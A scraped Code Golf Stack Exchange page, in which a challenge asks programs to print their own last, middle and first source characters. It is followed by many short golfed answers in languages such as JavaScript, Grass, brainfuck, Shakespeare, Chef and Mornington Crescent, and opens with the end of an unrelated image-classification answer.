string segments. The text is uncompressed with the `for k,v in [(v[0],v[1:]) for v in K.split('|')]:T=T.replace(k,v)` line. The two character indexing table is the same as in the above program. ``` import sys,re,zlib as Z,PIL.Image as P g=lambda p:chr(32+Z.crc32(p)%95) D=P.open(sys.argv[1]).tostring() K='~ Engineer?|%]ematic|^*{|)Computer @|[ Develop3|" Answ7|! Language|@Science|#Software|$ Design|*Stack |(Japanese|_History|+Programm|=English|` & |<tion|>raph|?ing|/Ask |]Math|{Overflow|}tics|:logy|;ian|0Data|1Game|2ance|3ment|4Home|5ard|6ity|7ers|8Exp|9The' T='Academia|Android Enthusiasts|Anime`Manga|/Different|Arduino|/Ubuntu|Astronomy|Avia<|Video Produc<|Beer|Bicycles|Bio:|Bitcoin|Blender|Bo5`C5 1s|^ in Portuguese|LEGO"|Buddhism|Chemistry|Chess|Chinese!|Christ;6|+? Puzzles`Code Golf|Code Review|Cognitive @s|Commun6 Build?|Seasoned Advice|Craft CMS|Cryptog>y|)|9oretical )|0 @|0base Administrators|4 Improve3|Drupal"|Signal Process?|Earth @|Ebooks|Economics|Electrical~|=! Learn7|Emacs|=!`Usage|8atriates|8ressionEngine"|Physical Fitness|Freelanc?|French!|1[|Arqade|G5en?`Landscap?|Genea:`Family _|German!|Geog>ic Informa< Systems|G>ic$|Amateur Radio|Biblical Hermeneu}|Hinduism|_|4brew?|_ of @ and ]|Islam|Ital;!|^ in (|(!|Joomla|Mi Yodeya|L?uis}|Magento|Martial Arts|%s|%s Educators|%a|]{|Motor Vehicle Mainten2`Repair|Meta *Exchange|P7onal Fin2`Money|Movies`TV|Music, Practice`9ory|Network~|Open 0|9 Great Outdoors|Parent?|/Patents|Pets|Philosophy|Photog>y|Physics|Project Manage3|Poker|Poli}|P7onal Productiv6|+7|Puzzl?|Quantitative Fin2|Raspberry Pi|Rev7e~|Robo}|Role-play? 1s|Russ;!|Salesforce|Computa<al @|@ Fic<`Fantasy|Informa< Secur6|Server Fault|SharePoint|Skep}|# Recommenda<s|Sound$|Space 8lora<|Spanish!|Sports|# Qual6 Assur2`Test?|*Apps|^|Startups|Cross Validated|Super User|Sustainable Liv?|TeX - LaTeX|Tor|Travel|Tridion|Unix`Linux|User 8erience|Web Applica<s|Webmast7|Windows Phone|WordPress[|9 Workplace|Worldbuild?|Writ7|' for k,v in [(v[0],v[1:]) for v in K.split('|')]:T=T.replace(k,v) print T.split('|')[re.findall('..','''<3 JlXAa}J>33:7XotUSZDHC }=c4G]wdaIwhi)Xa(h6B"jdfcQ_0^\wLo{Iyn7;XaRco&w7Ht(/]v^$u~?0:r,!?*y``7>5j%\SAq`G{v@&'#LuZn7)['#JTY d4(6mR%ljnE@/s6s6A-[&-\kR*[C$3*qgY25!vy&~>0H<TEGV.N$K_y|m5O#)nkhwg=E+CYmW<c /BQgFHgujMCm`793uA)T.&'f$vFRh zXin[3q:y\CGH.!hAw=k5v!gCd4g0]mU/'O''').index(g(D)+g(D*3))] ``` [Answer] # C#, 2672 bytes ``` using System.IO;using System.IO.Compression;using System.Security.Cryptography;using System.Text;namespace l {internal class Program {private static void Main(string[]args) {string m="H4sIAAAAAAAEAGVWy3bbNhT8Fayyas8hxTd2IAk66bEa1XKSdgmRsISaBFgAtKN8fQeU5dgnKxHAxcV9zMxVmXasF4OclKBpkzE9 WKMGwrU/LU4J5x1t8phpNUnygWyFPgrKupS5R9KqhwdppfY0iltmh0VpQ+OyDWdfDov2C43h3XlrtJnONOo69qSEV0bTbBN/VYM0 ZGfNsPSXPdbVUloaNUWt+nM/SkfLNK+VGc3xTOu2qpXvjdK02hT1KPUA46ZsaiPsgOCa8HMjJlyra7b3on8kn5+kfRjNM1Ga7Iz1 y3GRTtIky275zWfCtHuW1tEs6eplGE7KTbSo4+aEeiDuM23jBgvnaJSXzUlpXCa3KMIijhJJ4NDCUAmt/JkmmxjpHK2YJqWPZLf8 +IEcQmRmkOTGjA+0ZZt1cSeflHymXVk35ojL6kmSfa+k7hF9lWSNmaYlOCX1osYB7mgeJXspnNFyIGx4Ur2kXdE0Vjx40mz3cB01 9jz7EMB8OlO4hpd58dJeXdO8iu5P0ljpVS9G8st5G8et8OJ1nURFWB8E0mYDsgpVEd6gZG1efTQAxadptuZJTgEHLE5au8zwfC1s xLO9OmrsoDLIzYVMSs65sP70+kxVb/jBmEdHGWO8D3BRPboSx3yUvbdrsFwfUX9pg4d0w7AclTu9doPcSmF1eJNXJZ8E7hdZ9ovV B/LFhd6lPOffZwHfwgectRxLGwI0+vLSaw5dl+xOZ7cG0SmvAxx4XXdWylHoPsSTtQWWuv/5EIAZByySVj7J0cxrfaKyZvY/sI12 PLoBXKUOQPkQbg2uF3PwFSfljdRSBNDjqBOTGs/kIypvAEjO+I20k9A/X0pKbF26rnryST8YnAdGkf3ZeTmhC5vo5uW4lQ79oG3X MBjJxZI7MShDU1bW6jCuSX7EA4hg8aEJRcc+Kg1ygxoo2jWOKstC+w9WPq8NafjLCTEP174SZAXJ8KeQ+Cc3iolGrPzkxajexl9v 4l/J+oeYRWAb5WV7/X5zJU/+MGYaoVlRtFXkH3DqLGjeFbeIZgmU7INw1VtYa28unxZEBTQtNC2L8hCYDIWCZVpUb5aEQ5IuKM9Y /PNA0Kwsw/IaKM052xoYkq8SxR0lslXaSy1C9h/A8lkoi8eSrQysWrPk3/sT8kDfWLMDvoxecXW9swXBoZVVszWQiKAe919Bo24L Oe5/A40E1HK1XJl8pqzc/Cn9s7GP7yjS8fjzLDUJ/KUNq2BNbqwUnnxe/GBCclXNdyIIeLBP8iwI9w6g0ChQ3eU7GQpVxbuTGo0z QVMYr3Yn8yoxLIovzIBdmoHh/4KtYUig6ivgNyXfmUfINE/znRnVS7Hj17yv8v8U9LPM2qt+Bt61cbZK6Cp+dffXIhCpF6tWvtSL Vml2J9x8kBbI2yla5DWkFbflu2LEXXZnDmZ9PmniO4NW/U7mUZwD/15mRlHcLeD/W2jmbbwX0HBQalXH5KKYK7sQ/VW/eFxdId+p dZitxNVeuDC32neclP1iQ7Y17/bSIlZYLqOnaZrvT2jHDhPO06qr9o9yXiOuKr43D/4Zh4BUj9GA2bd6Q5Gidm8W8OyF2AXL97NA IJCz0djLtG0ajk39Vggp26T72QQucJ6+ukeRxzB1mHOLfUHkvXQrQuq4vSCYzTMeTpL3rKVdyrGDGYvTkrPGGufIV/hDrHKgeVLv lxnpfnEAxCZL94vzoIs4oBm3QMCqffxe/o3W3Ar8QpWre2MhVu29FZBRWhTFvVVDyKmrmi9afQ/iqfTyPSAhOA55o+drWzLefpOH EG7QtUu92CbG3oQ/NuuoaJtvEDfz7AhwrcNIz74ZO+zCJHgn3W2dBAbh8BGwgfMy5liMw+E6n7Ok+obGwu3/ajKqV1QJAAA=";string f=BitConverter.ToString(new SHA1Managed().ComputeHash(File.OpenRead(Console.ReadLine()))).Replace("-","").Substring(0,3);foreach(string n in d(m).Split(':')) {if(f==n.Substring(0,3)) {Console.WriteLine(n.Substring(3,n.Length-3));break;}}} public static String d(String c) {byte[]d=Convert.FromBase64String(c);using(MemoryStream i=new MemoryStream(d)) using(GZipStream z=new GZipStream(i,CompressionMode.Decompress)) using(MemoryStream o=new MemoryStream()) {z.CopyTo(o);StringBuilder sb=new StringBuilder();return Encoding.UTF8.GetString(o.ToArray());}}}} ``` The table (string) of labels and partial SHA hashes is compressed to save a few bytes. The original dictionary looks like: ``` 84FAcademia:4C5Android Enthusiasts:C61Anime & Manga:AF4Ask Different:01DArduino:18DAsk Ubuntu:14FAstronomy:0FFAviation:521Video Production:5AFBeer:0C7Bicycles:846Biology:BD9Bitcoin:927Blender:C8CBoard & Card Games:BBAStack Overflow in Portuguese:355LEGO Answers:53FBuddhism:7B1Chemistry:D1CChess:068Chinese Language:52CChristianity:321Programming Puzzles & Code Golf:DA2Code Review:F8BCognitive Sciences:935Community Building:603Seasoned Advice:F7CCraft CMS:DA0Cryptography:8BCComputer Science:690Theoretical Computer Science:D11Data Science:307Database Administrators:D69Home Improvement:A13Drupal Answers:0E5Signal Processing:8EEEarth Science:9B2Ebooks:AAAEconomics:511Electrical Engineering:42AEnglish Language Learners:E98Emacs:755English Language & Usage:4E6Expatriates:8DEExpressionEngine Answers:FF3Physical Fitness:EBBFreelancing:5D7French Language:C81Game Development:08BArqade:FE0Gardening & Landscaping:138Genealogy & Family History:EAEGerman Language:38EGeographic Information Systems:020Graphic Design:DFCAmateur Radio:4A8Biblical Hermeneutics:7FAHinduism:4E6History:955Homebrewing:4CEHistory of Science and Math:08BIslam:0A8Italian Language:B21Stack Overflow in Japanese:E8DJapanese Language:B63Joomla:400Mi Yodeya:6F7Linguistics:C6BMagento:C6BMartial Arts:506Mathematics:479Mathematics Educators:5A1Mathematica:588MathOverflow:6EAMotor Vehicle Maintenance & Repair:503Meta Stack Exchange:3ACPersonal Finance & Money:09CMovies & TV:0EFMusic, Practice & Theory:A82Network Engineering:FE1Open Data:CA9The Great Outdoors:9BEParenting:365Ask Patents:BF6Pets:591Philosophy:AE9Photography:A01Physics:545Project Management:28EPoker:E46Politics:471Personal Productivity:85DProgrammers:D15Puzzling:6BFQuantitative Finance:945Raspberry Pi:76BReverse Engineering:1F5Robotics:3C1Role - playing Games:B77Russian Language:6D1Salesforce:D13Computational Science:E19Science Fiction & Fantasy:BDDInformation Security:BEFServer Fault:446SharePoint:9F9Skeptics:99ESoftware Recommendations:D0DSound Design:7A6Space Exploration:CCESpanish Language:A24Sports:EE4Software Quality Assurance & Testing:B1DStack Apps:D33Stack Overflow:F4EStartups:8EACross Validated:63BSuper User:254Sustainable Living:13ETeX - LaTeX:8D9Tor:DFDTravel:777Tridion:F9CUnix & Linux:945User Experience:5EDWeb Applications:A21Webmasters:EDCWindows Phone:525WordPress Development:DB3The Workplace:81EWorldbuilding:539Writers ``` ]
[Question] [ The challenge is simple: Print the last, middle, and first character of your program's source code, in that order. The middle character is defined as follows, assuming a source length of `n` characters, and 1-indexing: * If `n` is even, print the `n/2`-th and `n/2 + 1`-th character. (`abcdef == cd`) * If `n` is odd, print `(n-1)/2 + 1`-th character. (`abcde == c`) ### Rules * Given no input, print the last, middle, and first character in your source code, in the form `[last][middle][first]`. This will be 3-4 characters long. * Output must not contain any trailing whitespace. However, if whitespace is a first, middle, or last character, it must be printed as such. * Source code must be `n >= 3` characters long. * Code must consist of `>= 3` unique characters. * [Standard loopholes are forbidden.](https://codegolf.meta.stackexchange.com/questions/1061/loopholes-that-are-forbidden-by-default) * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so shortest solution *in characters* wins. ### Samples ``` # Form: [code] --> [output] xyz --> zyx abcd --> dbca 1 --> # not allowed: too short abcde --> eca aaabb --> # not allowed: not enough unique characters System.out.print("S;pr"); --> ;prS this is a test --> ts t 123[newline]45 --> 53[newline]1 ``` [Challenge Proposal](https://codegolf.meta.stackexchange.com/a/17866/77309) ## Leaderboards Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` # Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` # Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` # Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the leaderboard snippet: ``` # [><>](http://esolangs.org/wiki/Fish), 121 bytes ``` ``` var QUESTION_ID=188005; var OVERRIDE_USER=78850; var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;function answersUrl(d){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+d+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(d,e){return"https://api.stackexchange.com/2.2/answers/"+e.join(";")+"/comments?page="+d+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(d){answers.push.apply(answers,d.items),answers_hash=[],answer_ids=[],d.items.forEach(function(e){e.comments=[];var f=+e.share_link.match(/\d+/);answer_ids.push(f),answers_hash[f]=e}),d.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(d){d.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),d.has_more?getComments():more_answers?getAnswers():process()}})}getAnswers();var SCORE_REG=function(){var d=String.raw`h\d`,e=String.raw`\-?\d+\.?\d*`,f=String.raw`[^\n<>]*`,g=String.raw`<s>${f}</s>|<strike>${f}</strike>|<del>${f}</del>`,h=String.raw`[^\n\d<>]*`,j=String.raw`<[^\n<>]+>`;return new RegExp(String.raw`<${d}>`+String.raw`\s*([^\n,]*[^\s,]),.*?`+String.raw`(${e})`+String.raw`(?=`+String.raw`${h}`+String.raw`(?:(?:${g}|${j})${h})*`+String.raw`</${d}>`+String.raw`)`)}(),OVERRIDE_REG=/^Override\s*header:\s*/i;function getAuthorName(d){return d.owner.display_name}function process(){var d=[];answers.forEach(function(n){var o=n.body;n.comments.forEach(function(q){OVERRIDE_REG.test(q.body)&&(o="<h1>"+q.body.replace(OVERRIDE_REG,"")+"</h1>")});var p=o.match(SCORE_REG);p&&d.push({user:getAuthorName(n),size:+p[2],language:p[1],link:n.share_link})}),d.sort(function(n,o){var p=n.size,q=o.size;return p-q});var e={},f=1,g=null,h=1;d.forEach(function(n){n.size!=g&&(h=f),g=n.size,++f;var o=jQuery("#answer-template").html();o=o.replace("{{PLACE}}",h+".").replace("{{NAME}}",n.user).replace("{{LANGUAGE}}",n.language).replace("{{SIZE}}",n.size).replace("{{LINK}}",n.link),o=jQuery(o),jQuery("#answers").append(o);var p=n.language;p=jQuery("<i>"+n.language+"</i>").text().toLowerCase(),e[p]=e[p]||{lang:n.language,user:n.user,size:n.size,link:n.link,uniq:p}});var j=[];for(var k in e)e.hasOwnProperty(k)&&j.push(e[k]);j.sort(function(n,o){return n.uniq>o.uniq?1:n.uniq<o.uniq?-1:0});for(var l=0;l<j.length;++l){var m=jQuery("#language-template").html(),k=j[l];m=m.replace("{{LANGUAGE}}",k.lang).replace("{{NAME}}",k.user).replace("{{SIZE}}",k.size).replace("{{LINK}}",k.link),m=jQuery(m),jQuery("#languages").append(m)}} ``` ``` body{text-align:left!important}#answer-list{padding:10px;float:left}#language-list{padding:10px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.sstatic.net/Sites/codegolf/primary.css?v=f52df912b654"> <div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td><a href="{{LINK}}">{{SIZE}}</a></td></tr></tbody> </table> ``` [Answer] # JavaScript, ~~9~~ 7 bytes ``` N=>a=-N ``` Outputs: `NaN` [Try it online!](https://tio.run/##y0osSyxOLsosKNHNy09J/Z9m@9/P1i7RVtfvf3J@XnF@TqpeTn66RpqGpuZ/AA "JavaScript (Node.js) – Try It Online") [Answer] # [Grass](https://github.com/TryItOnline/grass), 17 bytes ``` wWWwwwVVwWWwWWWww ``` [Try it online!](https://tio.run/##Sy9KLC7@/788PLy8vDwsDESHg9j//wMA "Grass – Try It Online") -2 bytes thanks to jimmy23013. Outputs `www`. Grass ignores all characters apart from `w`, `W` and `v`. The two `V`s are thus ignored; they are there to ensure the middle character is a `w` – I have no idea how to output `v` or `W` in Grass… I could have used another character instead of `V`, but `V` preserves the aesthetic of the code. [Answer] # [brainfuck](https://github.com/TryItOnline/brainfuck), 17 bytes ``` U-[>+<-UU--]>...U ``` [Try it online!](https://tio.run/##SypKzMxLK03O/v8/VDfaTttGNzRUVzfWTk9PL/T/fwA "brainfuck – Try It Online") With unprintables this can be reduced to 7 bytes: `␀..␀_.␀` [Answer] # [Shakespeare Programming Language](https://github.com/TryItOnline/spl), 119 bytes ``` ,.Ajax,.Page,.Act I:.Scene I:.[Enter Ajax and Page] Ajax: You big big big big big cat.Speak thy.Speak thy.Speak thy. ``` [Try it online!](https://tio.run/##Ky7I@f9fQUfPMSuxQkcvIDE9FchOLlHwtNILTk7NSwUxol3zSlKLFEBKFBLzUhRAqmK5QFwrBYXI/FKFpMx0DJycWKIXXJCamK1QklGJlaXw/z8A "Shakespeare Programming Language – Try It Online") Prints three spaces. Without printing spaces: # [Shakespeare Programming Language](https://github.com/TryItOnline/spl), 227 bytes ``` ,.Ajax,.Page,.Act I:.Scene I:.[Enter Ajax and Page]Ajax:You is the sum of a big big big big big big cat a big pig. You is the sum of you a large huge large big pig. Speak thy.Speak thy.You is the sum of you a big pig.Speak thy. ``` [Try it online!](https://tio.run/##Ky7I@f9fR88xK7FCRy8gMT0VyE4uUfC00gtOTs1LBTGiXfNKUosUQEoUEvNSFECqYkE8q8j8UoXMYoWSjFSF4tJchfw0hUSFpMx0rDg5sQQqW5CZrseFqbUSKJKokJNYlJ6qkFEKJCBMuI7ggtTEbKCGSj0EC5cpME0Ilf//AwA "Shakespeare Programming Language – Try It Online") Like my newline-free INTERCAL answer, this is constructed to make the last character of the program the same as the middle character (although in this case it is not also the first), by un-golfing the second half of the code until they match. (I'm not sure if I could have constructed 46 in fewer bytes or not, or if I could have golfed other parts of the first half more.) [Answer] # [Python 2](https://docs.python.org/2/), ~~13~~ 11 bytes ``` print' t' ``` To make the whitespace clear: ``` $ xxd solution.py 0000000: 0a70 7269 6e74 2720 7427 20 .print' t' $ python2 solution.py | xxd 0000000: 2074 0a t. ``` [Try it online!](https://tio.run/##K6gsycjPM/r/n6ugKDOvRF0BiP7/BwA "Python 2 – Try It Online") -2 bytes, thanks to wastl ! [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~7~~ 5 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` „ RR ``` Outputs `R \n`. -2 bytes by taking inspiration from [*@Neil*'s Batch answer](https://codegolf.stackexchange.com/a/188022/52210), so make sure to upvote him as well! [Try it online.](https://tio.run/##yy9OTMpM/f@f61HDPIWgoP//AQ) **5 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) alternative by *@Grimy*:** ``` 12,1 ``` Outputs `12\n`. [Try it online.](https://tio.run/##yy9OTMpM/f@fy9BIx/D/fwA) **Initial 7 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) answer:** ``` '?„«'«? ``` Outputs `?«'`. [Try it online.](https://tio.run/##yy9OTMpM/f9f3f5Rw7xDq9UPrbb//x8A) **Explanation:** ``` # No-op newline „ R # Push 2-char string " R" R # Reverse this string to "R " # (output the result implicitly with trailing newline) # No-op newline 12, # Print 12 with trailing newline 1 # Push a 1 (no implicit printing, since we already did an explicit print) '? '# Push 1-char string "?" „«' '# Push 2-char string "«'" « # Concatenate them both together ? # Output without trailing newline ``` [Answer] # [RProgN 2](https://github.com/TehFlaminTaco/RProgN-2), 3 bytes ``` 1 0 ``` [Try it online!](https://tio.run/##Kyooyk/P0zX6/9@Qy@D/fwA "RProgN 2 – Try It Online") I think this is valid? [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 5 bytes ``` 001 0 ``` [Try it online!](https://tio.run/##y0rNyan8/9/AwFDB4P9/AA "Jelly – Try It Online") The output has two distinct characters, but the code also has a third one. Trivial 4-byte version: ``` 1231 ``` [Answer] # [PHP](https://php.net/), 9 bytes ``` <?=";;<"; ``` [Try it online!](https://tio.run/##K8go@P/fxt5WydraRsn6/38A "PHP – Try It Online") [Answer] # Excel, 9 bytes ``` =("))=" ) ``` So many Parentheses. Note: The returned middle character can actually be any character since it's the middle of the code. [Answer] # DOS/Windows Batch Language, 9 bytes ``` @echo @o@ ``` [Answer] ## Batch, 9 characters ``` @echo hh ``` The middle and last character are both `h`, and then the `echo` prints a newline by default, which is the first character of the script. [Answer] # [Ruby](https://www.ruby-lang.org/), 6 bytes ``` p " " ``` [Try it online!](https://tio.run/##KypNqvz/n6tAQUlB6f9/AA "Ruby – Try It Online") This outputs `" "` plus a newline. The code ends with a `"`, the middle two characters are and `"`, and it starts with a newline. [Answer] # PowerShell, 3 bytes ``` 00000000: 0a0d 31 ..1 ``` Works only in Microsoft Windows. The output is unfortunately 8 bytes in UTF-16. But the question says output the characters, and not the bytes. Arguably UTF-16 is just one of the supported ways to represent the characters in PowerShell. They are not interpreted differently from an ASCII file. [Answer] ## Bash (15 11 characters) ``` echo -n e-e ``` which prints out ``` e-e ``` * -4 chars by not using `|rev` [Answer] # [Underload](https://esolangs.org/wiki/Underload), ~~9 bytes~~ 7 bytes Thanks to [Khuldraeseth na'Barya](https://codegolf.stackexchange.com/users/73884/khuldraeseth-nabarya) for the improved solution! ``` W(SSW)S ``` As for as I can tell, this is now unimprovable since: * The first character has to be a no-op character, since every other instruction raises an error due to the stack being empty, with the exception being an opening bracket. However, it can't be that since there is no way to output an opening bracket on it's own in Underload. * You need to use at least 5 characters to add the 3 output characters to the stack. * You need to use S to output it. [Try it online!](https://tio.run/##K81LSS3KyU9M@f8/XCM4OFwz@P9/AA) [Answer] # [Shakespeare Programming Language](https://github.com/TryItOnline/spl), ~~163~~ 153 bytes -10 bytes thanks to Jo King. ``` B,.Ajax,.Page,.Act I:.Scene I:.[Enter Ajax and Page]Ajax:You is the sum ofa Big Big Big BIG BIG cat a CAT.Speak thy.You is twice you.Speak thy!SPEAK THY! ``` [Try it online!](https://tio.run/##RYuxDoIwGIR3nuLYSR@ADQxR4kJSFmIc/tRfqEpLbBvl6avVgeGS73LfueURY12I6kbvQnQ08peVR1sKqdhwglNjPD@RFJC5IFnn1MrBBmiX@Ynhwgx7JdR63NLuf1HkQdmu6oVcmO7w0yr@V/iXVozVhm3KZddUR/SHIY/xAw "Shakespeare Programming Language – Try It Online") My first SPL answer! Outputs `!BB`. There is [another](https://codegolf.stackexchange.com/a/188082/86301) SPL answer by Unrelated String; in that answer, they output only spaces in 119 bytes, or output non-space characters in 227 bytes. This one comes in between, and also outputs non-space characters. Two tricks are used here: 1. An SPL sentence can end with `!` rather than `.`, and `!` is easier to get since its ASCII codepoint is 33 (=\$2^5+1\$), whereas the codepoint of `.` is 46. 2. Doubling 33 gives 66, the codepoint of `B`, hence the play title is `B` and I need the second "big" to be "Big", which works since SPL is case-insensitive. Since I needed that capital `B` and an exclamation mark at the end, I decided to have Ajax shout louder and louder through the scene. [Answer] It feels cheaty, but # [Mornington Crescent](https://esolangs.org/wiki/Mornington_Crescent), 1005 bytes ``` Take Northern Line to Euston Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Circle Line to Victoria Take Circle Line to Bank Take Circle Line to Hammersmith Take District Line to Gunnersbury Take District Line to Hammersmith Take Circle Line to Cannon Street Take Circle Line to Hammersmith Take Circle Line to Cannon Street Take Circle Line to Bank Take Circle Line to Hammersmith Take District Line to Upminster Take District Line to Hammersmith Take District Line to Upminster Take District Line to Upminster Take District Line to Gunnersbury Take District Line to Victoria Take Victoria Line to Tottenham Hale Take Victoria Line to Victoria Take Circle Line to Victoria Take District Line to Gunnersbury Take District Line to Acton Town Take District Line to Acton Town Take Piccadilly Line to Turnpike Lane Take Piccadilly Line to Turnpike Lane Take Piccadilly Line to Leicester Square Take Northern Line to Leicester Square Take Northern Line to Mornington Crescent ``` There are nine deliberately placed newlines after the first instruction to make the middle character the `o` of `Take District Line to Upminster`. The code prints out the first three characters of `Tottenham Hale` reversed to yield `toT`. Of course, this challenge was made easier by the fact that Mornington Crescent programs always start with the `T` of `Take` and end with the `t` of `Mornington Crescent`, barring any extra newlines. [Try it online!](https://tio.run/##pZNBTgMxDEX3nCIX4BAwIFgMCGkK@xAsxurkp3gcUE9fXApBMFRNmSzzX@xvx45JwHjWhNMgNAaCbjYLvyR3m0R7EriWQU6Tu8yjYSflfFAPHDQJ@0J19EpwHY9KMu5hvi52csMSBqoTzz2WfwrXPkZLGFn7nX5hDsRCFeIqA0Y8ZlnvISYxfuVoPJCsNhUirXNxdIQZBd6vImPb9tryjo5wSD/c4p@fOxmMRVIl9D6a2YHmT88/HJ7Ze5iRN1QCdxyCf@JhWH@XkQUrNq31oJlUSxxo23PXvWQvn@BkOSuxm7Lurinr/g4) [Answer] # [Ruby](https://www.ruby-lang.org/), ~~11~~ 9 bytes ``` print:ptp ``` [Try it online!](https://tio.run/##KypNqvz/v6AoM6/EqqCk4P9/AA "Ruby – Try It Online") [Answer] # [ArnoldC](https://lhartikk.github.io/ArnoldC/), 61 bytes ``` IT'S SHOWTIME TALK TO THE HAND "D I" YOU HAVE BEEN TERMINATED ``` [Try it online!](https://tio.run/##SyzKy89JSf7/3zNEPVgh2MM/PMTT15UrxNHHWyHEXyHEw1XBw9HPRUHJRcFTiSvSPxTIDXNVcHJ19VMIcQ3y9fRzDHF1@f8fAA "ArnoldC – Try It Online") Trivial answer in ArnoldC. The 31st byte is the space just before the string literal. [Answer] # [Chef](http://search.cpan.org/~smueller/Acme-Chef/), 447 bytes ``` Last Middle First Milkshake. This recipe prints its last, middle and first character. You could also use it to make a milkshake. Ingredients. 76 ml milk 32 ml chocolate syrup 46 teaspoons vanilla ice cream Method. Liquefy vanilla ice cream. Put the milk into 1st mixing bowl. Put the chocolate syrup into 1st mixing bowl. Put the vanilla ice cream into 1st mixing bowl. Pour contents of the 1st mixing bowl into the 1st baking dish. Serves 1. ``` [Try it online!](https://tio.run/##hZHdSgMxEIXv8xTnAWShKvUNBKEFQW@8nCazzdBsZs1PtU@/ZrcUoUW8CCSc882ZmVjP/TRtKBdsxbnAeJa0PMIhezpwZ8y7l4zEVkbGmCSWDGknNOgOw5mi6NAvpPWUyBZOnfnQCqs1OFDIipq5gSiKoRUGNfYSAmNe4j6xE27lO/O0xhAW3Tzcz1fr1WqgwsinVEfzuEZhyqNqzDhSlBAIYhk2MQ3GbLl4dZ3ZyGfl/nRr6cxrbb14XlLQplKsWvuDfEvcY6df4ddylf6P@ybrL7/W1PYTyzwztF/gK9cZvQg7OsyCk@zbv7xxOnLGqpumHw "Chef – Try It Online") # A serious submission, ~~196~~ 177 bytes ## thanks to A\_\_ ``` R. Ingredients. 82 l a 103 l b 46 l c Method. Put a into mixing bowl. Put b into mixing bowl. Put c into mixing bowl. Pour contents of mixing bowl into baking dish. Serves 1. ``` [Try it online!](https://tio.run/##dY5NCsIwEIX3c4o5QbAqxSu4EERPkJ9pM1gzkEzV26cp3bjQ1Qffe/CejzTUejMA5zRmCkxJi4HTHie00O0OjQ6OfYMHuJBGCQaus6JFTir45A@nEZ28p827P97/8jJn9JJ0XUUZvtOt7uxjFYFLbB/vlF9UsDO1Lg "Chef – Try It Online") [Answer] # TI-Basic, 3 bytes ``` i+1 ``` `i` represents the imaginary number. [Answer] # [Knight](https://github.com/knight-lang/knight-lang), 7 bytes ``` O"OO"O ``` [Try it online!](https://tio.run/##rVltU9tIEv5s/4rBKSyNLCey4Kq2bGSKZCFFHYEsJLcfwBeELIPqZNknybAcIX89193zopEtcpe7pVKWNfN0T/czPd09TtS/jaLvr5IsSlfTeK8op8ni9d24bY6kyU1tKCofl/EaKE@y29pQmcwFZhrPkixmacrSRXZLH209@un08wc2qF4vPp0zv3r928E5261ej07fsV@q1/PPbFCBj04uDOzp5xMD@vn0w8HFX@2CMxs/uuzb4C9czx5cwLJiMroLc@bwSsBEga1axXjMdqu508PfcTKDSfLoK8Pve3trGFyGMOgmYNKUI7CGeXt2dkIg/NgnJ4fom2HI@XsBAHnD1vswXcWcX2YT3m6TH7Arl5PgvHN4dmR/b591zuDfdw5vnZEAOICIwzkLEDpqt0HfMsyL2Obsqd1KspIlo3YLRkm3y5zZKotghIQjeC/nS7dYZpf@JHjyXO8ZdLQSUEd4eHo48OYNqk@W7OEuKeNiGUZxuwXf09iGcRC3hRku61yVV9nV7CpnT8@XE5sPX3U4mdJKZszW1gbMemVxJlSo0S0YvcpguNcTI2BnK06L2Bx4FuZEd3H0DzZb5CxbzW/ivJD2MDsppsltUiqtsDq6M3C1R@LpsIHHesyRlvd6nPWZ5VmwBFqacJbH5SrPmIoGIUYBMVq34T7Mk/AmjZUVYES6eIhzO4L1lCHs61emjIvoLSIivlhc0pM0uJ4EAxf2KNDDa9bh@ZJxCJBsulrauKVMctpn8LZpsDjthdAmzLiyrMqmjiU2DYTBA20UAyWQHeA7WLYMi5KVdzEoC/MSwHIDHMUobmjE0RNlrHFoXjQWPgecNrpVkUHmY@iWySIDszFivQmYFilGitVyiYRzFVVqxKTfjD@g3SAbdahQXmYQx5CpMHKl5YKVT5Y@zmLgCAcwaw0xW6GZKsgo0QlXbbQbTQ3TdBHZu5474OggDmsnyMFslaZh/mg6Wu3PubE9Hy1tGS0o5VfZmjQtMcAl